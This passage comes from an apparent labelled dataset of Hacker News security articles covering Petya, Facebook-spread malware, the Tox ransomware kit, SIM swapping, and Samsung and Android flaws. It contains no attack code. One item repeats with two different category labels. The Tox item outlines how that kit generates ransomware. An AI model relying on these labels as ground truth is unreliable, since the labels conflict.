""If machine reboots and you see this message, power off immediately! This is the encryption process. If you do not power on, files are fine."" HackerFantastic tweeted. ""Use a LiveCD or external machine to recover files""
PT Security, a UK-based cyber security company and Amit Serper from Cybereason, have discovered a Kill-Switch for Petya ransomware. According to a tweet, company has advised users to create a file i.e. ""C:\Windows\perfc"" to prevent ransomware infection.

To safeguard against any ransomware infection, you should always be suspicious of unwanted files and documents sent over an email and should never click on links inside them unless verifying the source.

To always have a tight grip on your valuable data, keep a good back-up routine in place that makes their copies to an external storage device that isn't always connected to your PC.

Moreover, make sure that you run a good and effective anti-virus security suite on your system, and keep it up-to-date. Most importantly, always browse the Internet safely.

",Cyber_Attack
Beware! Facebook UnfriendAlert Software Steals Your Account Password,https://thehackernews.com/2015/06/facebook-password-hacking.html,"Today everybody wants to know — Who visited my Facebook profile?, Who unfriended me from the Facebook Friend list?, Who saw my Facebook posts?, and many other features that isn't provided by Facebook by default.

So most Facebook users try to find out a software and fall victim to one that promises to accomplish their desired task. Hackers make use of this weakness and often design malicious programs in order to victimize broad audience.

Following I am going to disclose the realities behind one such software designed cleverly to trick Facebook users to make them believe it is genuine.

UnfriendAlert, a free application that notifies you whenever someone removes you from the Facebook friend list, has been found collecting its users' Facebook credentials.

UnfriendAlert Stealing your Facebook Credentials:

Security researchers at Malwarebytes have warned users of the UnfriendAlert app saying that the notorious app asks users to login with their Facebook credentials to activate unfriends monitoring and alert service for your Facebook profile.

Facebook has provided API OAuth login system for third party applications, where users don't need to provide their Facebook credentials to them. So you should never submit your Facebook password to any third party service or desktop software in any case.

Once you enter your login credentials, UnfriendAlert will send it to the website ""yougotunfriended.com"" owned by attackers.

Late last month, UnfriendAlert was also classified as potentially unwanted program (PUP) which often displays unwanted advertisements and deceptively installs other malicious software and free apps when visiting some web pages in your Chrome, Firefox, and Internet Explorer, making you fail to block them.

Uninstall UnfriendAlert and Change your Password Now!

So users are recommended to uninstall UnfriendAlert App from your computer, and besides removing this, you are also advised to change your Facebook password as soon as possible. You can do this under ""Settings —> Password —> Edit.""

Always do some research before installing any third party application as your one single mistake could compromise your online security and privacy in various ways.

",Malware
T-Mobile Wi-Fi Calling App vulnerable to Man-in-the-Middle attack,https://thehackernews.com/2013/03/t-mobile-wi-fi-calling-app-vulnerable.html,"T-Mobile devices having a default Wi-Fi Calling feature that keeps you connected in areas with little or no coverage using Wi-Fi connection. But according to new finding by students Jethro Beekman and Christopher Thompson from University of California Berkeley, that this feature lets millions of Android users vulnerable to Man-in-the-Middle attack.


The simplest way to become a man-in-the-middle would be for the attacker to be on the same open wireless network as the victim, such as at a coffee shop or other public space.

In a technical analysis of the exploit, The flaw could potentially allow hackers to access and modify calls and messages made by T-Mobile users on certain Android smartphones. Beekman and Thompson informed T-Mobile, a division of Deutsche Telekom, of the flaw in December and on March 18 T-Mobile was able to resolve the issue for all affected phone models.

T-Mobile uses regular VoIP for Wi-Fi Calling instead of a connection that encrypted, something that aids in its vulnerability. The certificate validation had not been fully implemented, so without this proper verification, hackers could have created a fake certificate and pretend to be the T-Mobile server.

T-Mobile released a security update to its Android users on March 18 that resolved the issue. Other carriers around the world have similar features enabled on some smartphones, including Rogers Wireless in Canada and Orange in Britain.

",Vulnerability
Researchers caught espionage malware mastermind on webcam,https://thehackernews.com/2012/10/researchers-caught-espionage-malware.html,"In march 2011 CERT-Georgia has Discovered Cyber Espionage Attack Incident on country of Georgia. Advanced Malicious Software was Collecting Sensitive, Confidential Information about Georgian and American Security Documents and then uploading it to some of Command and Control Servers.

After a challenging investigating by CERT-Georgia researchers they found that this attack was linked Russian Official Security Agencies, Moreover investigators was able to turn on the webcam of mastermind behind the malware and they caught him on camera.

Hacker hack some Georgian news sites and inject ""Georbot Botnet"" behind that, after visiting that page most of the readers get infected and malware take control of their systems. Malware was able to send any file from the local hard drive to the remote server, Steal certificates, Record audio using the microphone and web cams, Scan the local network to identify other hosts on the same network. Malware was also using CVE-2010-0842, CVE-2006-3730, MS06-057 and other unknown vulnerabilities to infect networks.

But finally Researchers from CERT-Georgia trick the mastermind in his own trap by infecting their own PC from Lab, then gave Cyber Attacker Fake ZIP Archive with their own virus inside and the name ""Georgian-Nato Agreement"". Attacker stole that archive and executed malicious files provide by researchers. That sudden give access of mastermind's computer to investigators. They turn on his camera and took his picture shown below:
""We have obtained Russian Document, from e-mail, where he was giving someone instructions how to use this malicious software and how to infect targets. We have linked him with some of German and Russian hackers. Then we have obtained information about his destination city, Internet service provider, e-mail, and etc."" Researchers said.

Most Georgian Infected computers were from our Governmental Agencies and Critical Information Infrastructures . Main targets of hacker was classified information from Georgia Ministries ,Parliament ,Critical Information Ifrastructures, Banks , NGO's.
During investigation they got the origin of hacker, which was Russian Ministry of Internal Affairs, Department of Logistics , according to google map its just next to ""Federal Security Service of the Russian Federation (FSB)""

",Malware
Beware of Windows/MacOS/Linux Virus Spreading Through Facebook Messenger,https://thehackernews.com/2017/08/facebook-virus-hacking.html,"If you came across any Facebook message with a video link sent by anyone, even your friend — just don't click on it.

Security researchers at Kaspersky Lab have spotted an ongoing cross-platform campaign on Facebook Messenger, where users receive a video link that redirects them to a fake website, luring them to install malicious software.
Although it is still unclear how the malware spreads, researchers believe spammers are using compromised accounts, hijacked browsers, or clickjacking techniques to spread the malicious link.

The attackers make use of social engineering to trick users into clicking the video link, which purports to be from one of their Facebook friends, with the message that reads ""< your friend name > Video"" followed by a bit.ly link, as shown.

Here's How this Cross-Platform Malware Works:
The URL redirects victims to a Google doc that displays a dynamically generated video thumbnail, like a playable movie, based on the sender's images, which if clicked, further redirects users to another customised landing page depending upon their browser and operating system.

For example, Mozilla Firefox users on Windows are redirected to a website displaying a fake Flash Player Update notice, and then offered a Windows executable, which is flagged as adware software.
Google Chrome users are redirected to a website that masquerades as YouTube with similar YouTube logo, which displays a fake error message popup, tricking victims into downloading a malicious Chrome extension from the Google Web Store.

The extension actually is a downloader that downloads a file of attacker's choice to the victim's computer.
""At the time of writing, the file which should have been downloaded was not available,"" David Jacoby, a chief security researcher from Kaspersky Lab, writes in a blog post published today.
""One interesting finding is that the Chrome Extension has log files from the developers displaying usernames. It is unclear if this is related to the campaign, but it is still an amusing piece of information.""
Users of Apple Mac OS X Safari ends up on a web page similar to when using Firefox, but it was customised for MacOS users with a fake update for Flash Media Player, which if clicked, downloads an OSX executable .dmg file, which is also adware.

Same in case of Linux, user redirects to another landing page designed for Linux users.

The attackers behind the campaign are not actually infecting users of all platform with any banking Trojan or exploit kits, but with adware to make a lot of money by generating revenue from ads.

Spam campaigns on Facebook are quite common. A few years ago, researchers found cyber criminals using boobytrapped .JPG image files to hide their malware in order to infect Facebook users with variants of the Locky ransomware, which encrypts all files on the infected PC until a ransom is paid.

To keep yourself safe, you are advised not to get curious to look at images or video links sent by anyone, even your friend, without verifying it with them, and always keep your antivirus software up-to-date.

",Malware
First Hacker Convicted of 'SIM Swapping' Attack Gets 10 Years in Prison,https://thehackernews.com/2019/02/sim-swapping-hack.html,"A 20-year-old college student who stole cryptocurrency worth more than $5 million by hijacking victims' phone numbers has pleaded guilty and accepted a sentence of 10 years in prison.

Ortiz was arrested last year on charges of siphoning millions of dollars in cryptocurrency from around 40 victims using a method commonly known as ""SIM swapping,"" which typically involves fraudulently porting of the same number to a new SIM card belonging to the attacker.

In SIM swapping, attackers social engineer a victim's mobile phone provider by making a phony call posing as their target and claiming that their SIM card has been lost and that they would like to request a SIM swap.

The attackers attempt to convince the target's telecommunications company that they are the actual owner of the phone number they want to swap by providing required personal information on the target, like their SSNs and addresses, eventually tricking the telecoms to port the target's phone number over to a SIM card belonging to the attackers.

Once successful, the attackers essentially gained access to their target's mobile phone number using which they can obtain one-time passwords, verification codes, and two-factor authentication in order to reset passwords for and gain access to target's social media, email, bank, and cryptocurrency accounts.

SIM swapping has grown increasingly popular among cybercriminals over the past year and Joel Ortiz, a California man, is the first person to receive jail time for this crime, after pleading guilty to stealing more than $5 million in cryptocurrency from 40 victims, according to Motherboard.

Rather than facing trials and severe consequences imposed by the jury, Ortiz chose to accept a plea deal for 10 years last week, according to Deputy District Director Eric West of Santa Clara County, California.

However, the official sentencing of Ortiz is set to take place on March 14th.

There are more pending cases in court wherein defendants stole millions of dollars worth of cryptocurrency using SIM swapping.

One of the defendants named Dawson Bakies, accused of stealing the identities of and funds from more than 50 victims in the United States through SIM swapping has been indicted by Manhattan's District Attorney (DA).

The 20-year-old Ohio man has been arrested and charged with identity theft, grand larceny, computer tampering and scheme to defraud, among other charges.

Over the past year, federal authorities around the world have begun a crackdown on cryptocurrency related crime. A year ago, feds arrested a group of nuclear engineers in Russia after they were caught using supercomputers to mine Bitcoin.

",Cyber_Attack
United Airlines Hacked by Sophisticated Hacking Group,https://thehackernews.com/2015/07/united-airlines-hacked.html,"A group of China-backed hackers believed to be responsible for high-profile data breaches, including the U.S. Office of Personnel Management and the insurance giant Anthem, has now hit another high-profile target – United Airlines.

United detected a cyber attack into its computer systems in May or early June; Bloomberg reported, citing some unnamed sources familiar with the matter.

The same sources say that the hackers responsible for the data breach in United's systems are the same group of China-backed hackers that successfully carried out several other large heists, including the United States' Office of Personnel Management and the health insurer Anthem Inc.

Dangerous Intentions: United Airlines Data Breach

The stolen data includes manifests, which contain information on flights' passengers and their origins and destinations, meaning that the hackers have ""data on the movements of Millions of Americans.""

Since United Airlines is the world's second-largest airline and major contractor for U.S. government travel, experts say that the vast cache of information could be used to track the movements of specific government or military officials.

Bloomberg also speculated that the combination of security-clearance records from OPM, insurance records from Anthem, and now travel records from United, could be used by hackers to blackmail Americans working in defense and intelligence.

United Airlines didn't immediately respond to the comment.

Although the recent data breach in United Airlines strongly suggests the company to improve its cyber security, United already launched a bug bounty program in May in an effort to find security holes in its products.

Two weeks ago, United paid two hackers more than 1 Million frequent-flyer miles each for finding multiple security vulnerabilities in the Airline's IT system.

",Data_Breaches
5 Keys to Improve Your Cybersecurity,https://thehackernews.com/2019/06/improve-your-cybersecurity.html,"Cybersecurity isn't easy. If there was a product or service you could buy that would just magically solve all of your cybersecurity problems, everyone would buy that thing, and we could all rest easy.

However, that is not the way it works. Technology continues to evolve. Cyber attackers adapt and develop new malicious tools and techniques, and cybersecurity vendors design creative new ways to detect and block those threats. Rinse and repeat.

Cybersecurity isn't easy, and there is no magic solution, but there are a handful of things you can do that will greatly reduce your exposure to risk and significantly improve your security posture.

The right platform, intelligence, and expertise can help you avoid the vast majority of threats, and help you detect and respond more quickly to the attacks that get through.

Challenges of Cybersecurity

Effective cybersecurity is challenging for a variety of reasons, but the changing perimeter and the confusing variety of solutions don't help.

Long ago, during a time that is all but a distant memory by tech standards, cybersecurity was built around a concept of inside vs. outside, and us vs. them. The servers, applications, users, and data inside the network were inherently trusted, and everything outside of the network was assumed to be a potential threat.

The advent of free public Wi-Fi, portable laptops, mobile devices, and cloud computing have eroded the idea that there is any sort of perimeter, and most attacks leverage valid credentials and appear to be legitimate users, so the old model of defending the perimeter is no longer valid.

Meanwhile, as new platforms and technologies are developed, cybersecurity vendors inevitably create targeted point solutions for each one.

The result is a confusing mix of tools and services that protect specific facets of the environment, but don't play well with each other and don't provide a holistic view of the whole infrastructure so you can understand your security posture as a whole.

The constantly expanding and evolving threat landscape doesn't make it any easier, either. Attacks are increasingly complex and harder to identify or detect—like fileless or ""Living off the Land"" (LotL) attacks.

The complexity of the IT infrastructure—particularly in a hybrid or multi-cloud environment—leads to misconfiguration and other human error that exposes the network to unnecessary risk. Attackers are also adopting machine learning and artificial intelligence to automate the process of developing customized attacks and evading detection.

Improve Your Cybersecurity

All of that sounds daunting—like cybersecurity is an exercise in futility—but there are things you can do. Keep in mind that your goal is not to be impervious to attack—there is no such thing as perfect cybersecurity.

The goal is to increase the level of difficulty for an attacker to succeed in compromising your network and to improve your chances of quickly detecting and stopping attacks that occur.

Here are 5 tips to help you do that:

Assess your business objectives and unique attack surface — Choose a threat detection method that can address your workloads. For instance, cloud servers spin up and spin down constantly. Your detection must follow the provision and deprovision actions of your cloud platform(s) and collect metadata to follow events as they traverse this dynamic environment. Most SIEMs cannot do this.
Eliminate vulnerabilities before they need threat detection — Use vulnerability assessments to identify and remove weaknesses before they become exploited. Assess your full application stack, including your code, third party code, and code configurations.
Align data from multiple sources to enhance your use cases and desired outcomes — Collect and inspect all three kinds of data for suspicious activity: web, log, and network. Each data type has unique strengths in identifying certain kinds of threats and together present a whole picture for greater accuracy and actionable context.
Use analytics to detect today's sophisticated attacks — ensure your threat detection methods look at both real-time events and patterns in historical events across time. Apply machine learning to find what you do not even know to look for. If you use SIEM, enlist machine learning to see what correlation missed and better tune your SIEM rules.
Align security objectives to your business demands — There is more than one way to improve your security posture and detect threats. While SIEMs are a traditional approach, they are most useful for organizations that have a well-staffed security program. A SIEM alone is not the best solution for security monitoring against today's web applications and cloud environments.

5 Recommendations to Strengthen Your Security Program
Jack Danahy, Senior Vice President, Security for Alert Logic, recently presented a webinar titled ""Five Recommendations to Strengthen Your Security Program.""

If you want to learn more about the challenges organizations, face today with cybersecurity, and what you can do to improve your security posture, check out the recording of the webinar.

",Cyber_Attack
Hackers Can Exploit Samsung Pre-Installed Apps to Spy On Users,https://thehackernews.com/2021/06/hackers-can-exploit-samsung-pre.html,"Multiple critical security flaws have been disclosed in Samsung's pre-installed Android apps, which, if successfully exploited, could have allowed adversaries access to personal data without users' consent and take control of the devices.
""The impact of these bugs could have allowed an attacker to access and edit the victim's contacts, calls, SMS/MMS, install arbitrary apps with device administrator rights, or read and write arbitrary files on behalf of a system user which could change the device's settings,"" Sergey Toshin, founder of mobile security startup Oversecured, said in an analysis published Thursday.
Toshin reported the flaws to Samsung in February 2021, following which patches were issued by the manufacturer as part of its monthly security updates for April and May. The list of the seven vulnerabilities is as follows -
CVE-2021-25356 - Third-party authentication bypass in Managed Provisioning
CVE-2021-25388 - Arbitrary app installation vulnerability in Knox Core
CVE-2021-25390 - Intent redirection in PhotoTable
CVE-2021-25391 - Intent redirection in Secure Folder
CVE-2021-25392 - Possible to access notification policy file of DeX
CVE-2021-25393 - Possible to read/write access to arbitrary files as a system user (affects the Settings app)
CVE-2021-25397 - Arbitrary file write in TelephonyUI
The impact of these flaws means they could be exploited to install arbitrary third-party apps, grant the device admin privileges to delete other installed applications or steal sensitive files, read or write arbitrary files as a system user, and even execute privileged actions.
In a proof-of-concept (PoC) demo, Oversecured established that it was possible to leverage the intent redirection flaws in PhotoTable and Secure Folder to hijack the apps' permissions to access the SD card and read contacts stored in the phone. Likewise, by exploiting CVE-2021-25397 and CVE-2021-25392, an attacker could overwrite the file storing SMS/MMS messages with malicious content and steal data from user notifications.
Samsung device owners are recommended to apply the latest firmware updates from the company to avoid any potential security risks.

",Malware
Hackers Can Remotely Install Malware Apps to Your Android Device,https://thehackernews.com/2015/02/hackers-can-remotely-install-malware_12.html,"Security researchers have warned of a pair of vulnerabilities in the Google Play Store that could allow cyber crooks to install and launch malicious applications remotely on Android devices.

Tod Beardsley, technical lead for the Metasploit Framework at Rapid7 warns that an X-Frame-Options (XFO) vulnerability – when combined with a recent Android WebView (Jelly Bean) flaw – creates a way for hackers to quietly install any arbitrary app from the Play store onto victims' device even without the users consent.

USERS AFFECTED
The vulnerability affects users running Android version 4.3 Jelly Bean and earlier versions of Android that no longer receive official security updates from Android security team for WebView, a core component used to render web pages on an Android device. Also, users who have installed third party browsers are affected.

According to the researcher, the web browser in Android 4.3 and prior that are vulnerable to a Universal Cross-Site Scripting (UXSS) attack, and Google Play Store is vulnerable to a Cross-Site Scripting (XSS) flaw.

UNIVERSAL CROSS-SITE SCRIPTING FLAW
In UXSS attacks, client-side vulnerabilities are exploited in a web browser or browser extensions to generate an XSS condition, which allows the malicious code to be executed, bypassing or disabling the security protection mechanisms in the web browser.
""Users of these platforms may also have installed vulnerable aftermarket browsers,"" Beardsley explains in a blog post on Tuesday. ""Until the Google Play store XFO [X-Frame-Options] gap is mitigated, users of these web applications who habitually sign in to their Google Account will remain vulnerable.""
At the beginning of this month, a Universal Cross Site Scripting (UXSS) flaw was discovered in all the latest versions of Internet Explorer that allows malicious hackers to inject malicious code into users' websites and steal cookies, session and login credentials.

The security researcher demonstrated the issue with JavaScript and Ruby code that response from the play.google.com domain can be generated without the appropriate XFO header.

METASPLOIT MODULE IS PUBLICLY AVAILABLE
A Metasploit module has been created and made public on Github in order to help enterprise security bods test corporate-issued smartphones for exposure to the vulnerability. According to the advisory, the remote code execution is achieved by leveraging two vulnerabilities on affected Android devices:
First, the module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in versions of Android's open source stock browser (the AOSP Browser) as well as some other browsers, prior to 4.4 (KitKat).
Second, the Google Play store's web interface fails to enforce a X-Frame-Options: DENY header on some error pages, and therefore, can be targeted for script injection. As a result, this leads to remote code execution through Google Play's remote installation feature, as any application available on the Google Play store can be installed and launched on the user's device.
HOW TO PREVENT BEING EXPOSED
Use a web browsers that are not susceptible to widely known UXSS vulnerabilities – such as Google Chrome or Mozilla Firefox or Dolphin. This could help mitigate the lack of universal X-Frame-Options (XFO) for the play.google.com domain.
Another effective way is to simply logged out of the Google Play store account in order to avoid the vulnerability, although this practice is highly unlikely to be adopted by most of the users.

",Vulnerability
Adobe is Finally Killing FLASH — At the End of 2020!,https://thehackernews.com/2017/07/kill-adobe-flash-player.html,"Finally, Adobe is Killing FLASH — the software that helped make the Internet a better place with slick graphics, animation, games and applications and bring online video to the masses, but it has been hated for years by people and developers over its buggy nature.

But the end of an era for Adobe Flash is near. Adobe announced Tuesday that the company would stop providing updates and stop distributing Flash Player at the end of 2020.

The move has been applauded by many, as Adobe Flash has been infamous for frequent zero-day attacks, which is why it has long been one of the favourite tools for hackers and cyber criminals.

It's been two decades since Adobe Flash has ruled the Web Space Animation Arena, which was the de facto standard for playing the online videos, but hackers increasingly found ways to exploit security holes in the technology and hack into user's computers.
""We will stop updating and distributing the Flash Player at the end of 2020 and encourage content creators to migrate any existing Flash content to these new open formats,"" Adobe said on its website.
Until 2020, Adobe will still be partnered with Apple, Google, Facebook, Microsoft and Mozilla to offer security updates for Flash Player in their web browsers as well as support new versions of the software, but the company will not provide any new Flash feature.

In 2010, former Apple CEO Steve Jobs declared Flash Player obsolete. Earlier last year, Google also started banning Adobe Flash Player in Chrome 53 in favour of HTML5 by banning Flash banner from its Adwords Advertising platform.

To put a full stop on Flash, many major tech companies like Apple, Facebook, Youtube, Google Chrome, Firefox had been magnetised towards the new substitutor - HTML 5.

Microsoft just announced its plans to disable Flash Player by default in Edge and Internet Explorer in 2019, with a full removal from all supported versions of Windows by 2020.
Google will continue phasing out Flash over the next few years by blocking auto-playing of Flash ads by default on its browser.
In January last year, YouTube moved away from Flash for delivering videos.
Mozilla also blocked the Flash plugin entirely from Firefox and will allow Firefox Extended Support Release (ESR) users to keep using Flash until the end of 2020.
Apple's Safari currently requires explicit permission on each website even when Mac users opt to install Flash.

So, the date for the funeral of Adobe Flash Player is Dec. 31, 2020.

However, the company will provide best in class animation and video tools such as Adobe Animate CC — the company's Premier Web animation tool for developing HTML5 content.

Adobe Animate CC mostly looks like an update to the Flash Professional software – supports Adobe Flash (SWF) and AIR formats 'as first-class citizens,' along with other animation and video formats, including HTML5 canvas, 4K and WebGL output.

",Vulnerability
Beware of Cryptocurrency Mining Virus Spreading Through Facebook Messenger,https://thehackernews.com/2017/12/cryptocurrency-hack-facebook.html,"If you receive a video file (packed in zip archive) sent by someone (or your friends) on your Facebook messenger — just don't click on it.

Researchers from security firm Trend Micro are warning users of a new cryptocurrency mining bot which is spreading through Facebook Messenger and targeting Google Chrome desktop users to take advantage of the recent surge in cryptocurrency prices.

Dubbed Digmine, the Monero-cryptocurrency mining bot disguises as a non-embedded video file, under the name ""video_xxxx.zip"" (as shown in the screenshot), but is actually contains an AutoIt executable script.

Once clicked, the malware infects victim's computer and downloads its components and related configuration files from a remote command-and-control (C&C) server.

Digimine primarily installs a cryptocurrency miner, i.e. miner.exe—a modified version of an open-source Monero miner known as XMRig—which silently mines the Monero cryptocurrency in the background for hackers using the CPU power of the infected computers.

Besides the cryptocurrency miner, Digimine bot also installs an autostart mechanism and launch Chrome with a malicious extension that allows attackers to access the victims' Facebook profile and spread the same malware file to their friends' list via Messenger.

Since Chrome extensions can only be installed via official Chrome Web Store, ""the attackers bypassed this by launching Chrome (loaded with the malicious extension) via command line.""
""The extension will read its own configuration from the C&C server. It can instruct the extension to either proceed with logging in to Facebook or open a fake page that will play a video"" Trend Micro researchers say.
""The decoy website that plays the video also serves as part of their C&C structure. This site pretends to be a video streaming site but also holds a lot of the configurations for the malware's components.""
It's noteworthy that users opening the malicious video file through the Messenger app on their mobile devices are not affected.

Since the miner is controlled from a C&C server, the authors behind Digiminer can upgrade their malware to add different functionalities overnight.

Digmine was first spotted infecting users in South Korea and has since spread its activities to Vietnam, Azerbaijan, Ukraine, Philippines, Thailand, and Venezuela. But since Facebook Messenger is used worldwide, there are more chances of the bot being spread globally.

When notified by Researchers, Facebook told it had taken down most of the malware files from the social networking site.

Facebook Spam campaigns are quite common. So users are advised to be vigilant when clicking on links and files provided via the social media site platform.

",Malware
YiSpecter — First iOS Malware that Attacks both: Non-jailbroken and Jailbroken Devices,https://thehackernews.com/2015/10/ios-malware-attack.html,"Less than a month after Apple suffered one of its biggest malware attacks ever, security researchers have discovered another strain of malware that they claim targets both jailbroken as well as non-jailbroken iOS devices.

Last month, researchers identified more than 4,000 infected apps in Apple's official App Store, which was targeted by a malware attack in which some versions of software used by developers to build apps for iOS and OS X were infected with malware, named XcodeGhost.

And Now:

Researchers from a California-based network security firm Palo Alto Networks have discovered new malware that targets Apple's iOS users in China and Taiwan.

Capabilities of YiSpecter Malware

Dubbed YiSpecter, the malware infects iOS devices and once infected, YiSpecter can:
Install unwanted apps
Replace legitimate apps with ones it has downloaded
Force apps to display unwanted, full-screen ads
Change bookmarks as well as default search engines in Safari
Send user information back to its server
Automatically reappears even after a user manually deletes it from the iOS device
It is still unclear how many users have been or could be infected by YiSpecter, but according to the researchers, this first instance of iOS malware targeting and succeeding in infecting non-jailbroken iOS devices has been around since November 2014.
""Whether an iPhone is jailbroken or not, the malware can be successfully downloaded and installed,"" the researchers wrote in a blog post on Monday. ""Even if you manually delete [YiSpecter], it will automatically re-appear.""
YiSpecter targets jailbroken as well as non-jailbroken iOS devices by abusing private APIs to allow its four components that are signed with enterprise certificates to install from a centralized command and control server.

Three of the four malicious components can be used to hide their icons from iOS SpringBoard – the standard app that runs the home screen – and also disguise themselves with the same name and logos of system applications to escape detection from users.

Vectors of YiSpecter malware

According to researchers, YiSpecter malware has been targeting Apple's iOS devices for over 10 months, when it was first spread by disguising as an app that lets users watch free porn.

The app was advertised as a private version of a famous media player ""QVOD"" – a popular video streaming app developed by Kuaibo(快播) to share porn videos.

The malware then infected more devices through:

Hijacked Internet traffic from ISPs
A Windows worm that first attacked the Tencent's instant messaging service QQ
Online communities where people install third-party applications in exchange for promotion fees from app developers
Security researchers from Palo Alto Networks have already reported the latest YiSpecter malware to Apple, which says ""they are investigating"" the issue.

How to Remove YiSpecter from Your iOS Devices?

For iOS users who are potentially infected by YiSpecter should follow the below four-step process to remove the malware from your devices:

Head on to Settings –> General –> Profiles and remove all unknown or untrusted profiles.
Delete any installed apps with names 情涩播放器, 快播私密版 or 快播0.
You can use any third-party iOS management tool such as iFunBox on Windows or Mac OS X to connect with your iPhone or iPad
Then check for installed iOS apps like Phone, Weather, Game Center, Passbook, Notes, or Cydia and delete them. (Note: this will not affect original system apps but just delete the fake malware apps)
You can further visit Palo Alto Networks' blog post for more information on YiSpecter.

",Malware
Yet another Android vulnerability Discovered; Affects 55% Users,https://thehackernews.com/2015/08/android-flaw-hacking.html,"It seems like there isn't any end to Android security flaws. After the discovery of the Stagefright vulnerability that allowed hackers to infect Millions of Android devices with just a maliciously-crafted message…

Researchers have now warned of another critical security hole in Google's Android mobile operating system platform that impacts over 55 percent of all Android users.

Security researchers at IBM have discovered a new privilege escalation vulnerability in the Android platform that could allow ""a malicious app with no privileges the ability to become a 'super app' and help the cybercriminals own the device.""

Dubbed the Android serialization vulnerability, assigned CVE-2015-3825, affects Android versions 4.3 and above, including the latest build of Android M.

The vulnerability resides in a component of Android's platform called OpenSSLX509Certificate, which can be exploited by an Android app to compromise the system_server process and gain powerful system-level access on the Android device.

In a video, the researchers showed proof-of-concept attack, demonstrating how they were able to exploit the flaw using a malicious app and replace it with the real Facebook app to steal social networking login credentials.

Once the user runs that app with no apparent special privileges, it then download additional code to overwrite the existing app, loaded with an exploit used to escalate permissions using the vulnerability.

Besides Android serialization vulnerability, the security researchers also discovered other vulnerabilities in a series of third-party Android Software Development Kits (SDKs) that could allow hackers to execute remote code from apps that use these SDKs.

IBM notified Google's security team of the flaw well in advance of its presentation, and a patch has since been issued. However, most Android users will not receive the patch anytime soon.

You can find more details from the paper published.

This vulnerability is the latest in the list of recently discovered Android vulnerabilities.

Last week, researchers found a critical Certifi-Gate vulnerability in the pre-install Android's 'Remote Support Tool (mRST)' plugin that allowed malicious apps to gain illegitimate privileged access rights, even if the device is not rooted.

",Vulnerability
'Tox' Offers Free build-your-own Ransomware Malware Toolkit,https://thehackernews.com/2015/05/ransomware-creator.html,"""Ransomware"" threat is on the rise, but the bad news is that Ransomware campaigns are easier to run, and now a Ransomware kit is being offered by hackers for free for anyone to download and distribute the threat.

Ransomware is a type of computer virus that infects a target computer, encrypts their sensitive documents and files, and locks the out until the victim pays a ransom amount, most often in Bitcoins.

Sometimes even the best security experts aren't able to unlock them and end up paying off ransom to crooks in order to get their important files back.

Tox — Free Ransomware Kit

Now, to spread this creepy threat more easily by even a non-tech user, one dark web hacker has released a ransomware-as-a-service kit, dubbed ""Tox,"" for anyone to download and set up their own ransomware for free.

Yes, believe it or not, but Tox is completely free to use. The developers of the online software make money by taking a cut (20%) of any successful ransomware campaigns its users run.

Tox, which runs on TOR, requires not much technical skills to use and is designed in such a way that almost anyone can easily deploy ransomware in three simple steps, according to security researchers at McAfee who discovered the kit.

How to Setup your Custom Ransomware?

It takes only a few seconds to create and set up your custom ransomware. Just create an account on the Tox website, without the need to provide your email address or any other identifying information.

Once a user register with the site, follow these three simple steps to creating your own malware:
Type a desired ransom amount you want to ask victims for.
Provide an additional note in the ""Cause"", presumably the message that will alert victims that they are being held hostage to a piece of malware.
Finally, you are prompted to fill out a captcha, and click ""Create"".
""This process creates an executable of about 2MB that is disguised as a .scr file,"" McAfee explains. ""Then the Tox [users] distribute and install as they see fit. The Tox site (runs on the TOR network) will track the installs and profit. To withdraw funds, you need only supply a receiving Bitcoin address.""
Your Ransomware is now Ready to infect People:

Your custom ransomware, designed to work on Windows systems, is now ready and available to download and spread.

Once downloaded, you can target people by sending your virus in an email attachments, just like in the style of traditional phishing emails.

Once a victim accidentally opens up the offending .scr file provided in an email, the payload will encrypt all of the data on their system and only decrypts if a Bitcoin payment is made.
If target pays the ransom amount, the Bitcoin is then transferred to the user's Tox account from where Tox takes a 20 percent cut, and the rest can be withdrawn by the user.

Ransomware is a growing threat to the evolution of cyber criminals techniques, and many victims, including local police departments, do pay ransom to crooks in an attempt to get their important and personal files back.

How to Protect Yourself from Ransomware Threat?

Last week, I introduced you a Free Ransomware Decryption and Malware Removal ToolKit that could help you deal with different variants of ransomware malware and unlock encrypted files without paying off a single penny to the cyber crooks.

However, there are some necessary steps that should be taken to protect yourself from Ransomware attacks.
Remember always to keep regular backups of your important data.
Make sure that you run an active anti-virus security suite of tools on your machine.
Do not open any email attachments from unknown sources.
Finally, browse the Internet safely.

To keep yourself safe, we also have an excellent article on How to protect your computer from ransomware malware?

",Malware
Beware of Windows/MacOS/Linux Virus Spreading Through Facebook Messenger,https://thehackernews.com/2017/08/facebook-virus-hacking.html,"If you came across any Facebook message with a video link sent by anyone, even your friend — just don't click on it.

Security researchers at Kaspersky Lab have spotted an ongoing cross-platform campaign on Facebook Messenger, where users receive a video link that redirects them to a fake website, luring them to install malicious software.
Although it is still unclear how the malware spreads, researchers believe spammers are using compromised accounts, hijacked browsers, or clickjacking techniques to spread the malicious link.

The attackers make use of social engineering to trick users into clicking the video link, which purports to be from one of their Facebook friends, with the message that reads ""< your friend name > Video"" followed by a bit.ly link, as shown.

Here's How this Cross-Platform Malware Works:
The URL redirects victims to a Google doc that displays a dynamically generated video thumbnail, like a playable movie, based on the sender's images, which if clicked, further redirects users to another customised landing page depending upon their browser and operating system.

For example, Mozilla Firefox users on Windows are redirected to a website displaying a fake Flash Player Update notice, and then offered a Windows executable, which is flagged as adware software.
Google Chrome users are redirected to a website that masquerades as YouTube with similar YouTube logo, which displays a fake error message popup, tricking victims into downloading a malicious Chrome extension from the Google Web Store.

The extension actually is a downloader that downloads a file of attacker's choice to the victim's computer.
""At the time of writing, the file which should have been downloaded was not available,"" David Jacoby, a chief security researcher from Kaspersky Lab, writes in a blog post published today.
""One interesting finding is that the Chrome Extension has log files from the developers displaying usernames. It is unclear if this is related to the campaign, but it is still an amusing piece of information.""
Users of Apple Mac OS X Safari ends up on a web page similar to when using Firefox, but it was customised for MacOS users with a fake update for Flash Media Player, which if clicked, downloads an OSX executable .dmg file, which is also adware.

Same in case of Linux, user redirects to another landing page designed for Linux users.

The attackers behind the campaign are not actually infecting users of all platform with any banking Trojan or exploit kits, but with adware to make a lot of money by generating revenue from ads.

Spam campaigns on Facebook are quite common. A few years ago, researchers found cyber criminals using boobytrapped .JPG image files to hide their malware in order to infect Facebook users with variants of the Locky ransomware, which encrypts all files on the infected PC until a ransom is paid.

To keep yourself safe, you are advised not to get curious to look at images or video links sent by anyone, even your friend, without verifying it with them, and always keep your antivirus software up-to-date.

",Cyber_Attack
